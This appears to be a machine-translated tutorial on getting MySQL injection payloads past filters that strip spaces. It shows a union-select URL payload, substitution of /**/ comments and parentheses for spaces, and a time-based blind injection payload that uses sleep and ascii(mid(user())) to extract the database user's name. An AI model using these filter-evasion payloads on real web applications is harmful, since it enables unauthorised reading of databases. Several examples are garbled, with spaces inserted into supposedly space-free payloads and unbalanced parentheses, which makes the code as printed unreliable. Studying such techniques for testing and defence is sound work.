How to bypass space filtering by mysql Injection

How to bypass space filtering by mysql Injection

During SQL injection, spaces are widely used. For example, we use union to obtain the target data:
Http://www.xxx.com/index.php? Id = 1 and 0 union select null, null, null

The preceding statement requires spaces on both sides of and, union, and select.

1. Comment bypass Spaces

This is the most basic method and is widely used in some automated SQL Injection tools. In MySQL, use
/* Comment */

To mark the content of the comment. For example, SQL query:
Select user () from dual

We can replace spaces with comments to convert them:
Select/**/user ()/**/from/**/dual

For example, the SQL command can be correctly executed:


2. Parentheses bypass Spaces

Spaces are filtered, but parentheses are not filtered. You can bypass the parentheses.

In my experience, in MySQL, parentheses are used to enclose subqueries. Therefore, any statement that can calculate the result can be enclosed in parentheses. The two ends of the brackets can have no extra spaces.

The method of bypassing spaces in parentheses is time-based blind injection.

For example, we have such an SQL query:
Select user () from dual where 1 = 1 and 2 = 2

How to minimize spaces?

It is observed that user () can calculate the value, so the user () must be enclosed in parentheses and changed:
Select (user () from dual where 1 = 1 and 2 = 2;

Continue. values 1 = 1 and 2 = 2 can be calculated, and parentheses are added to remove spaces and change:
Select (user () from dual where (1 = 1) and (2 = 2)

Spaces on both sides of dual are usually added by the programmer, which we generally cannot control. Therefore, the result is the result with the least space.


This is also a very practical technique.

Make a summary using a commonly used time-based blind injection statement:
Http://www.xxx.com/index.php? Id = (sleep (ascii (mid (user () from (2) for (1) = 109 ))

This statement is used to guess whether the second ascii code of user () is 109. If it is 109, page loading will be delayed. It:

1) No comma or symbol is used.

2) No space is used.

But it can complete data guesses!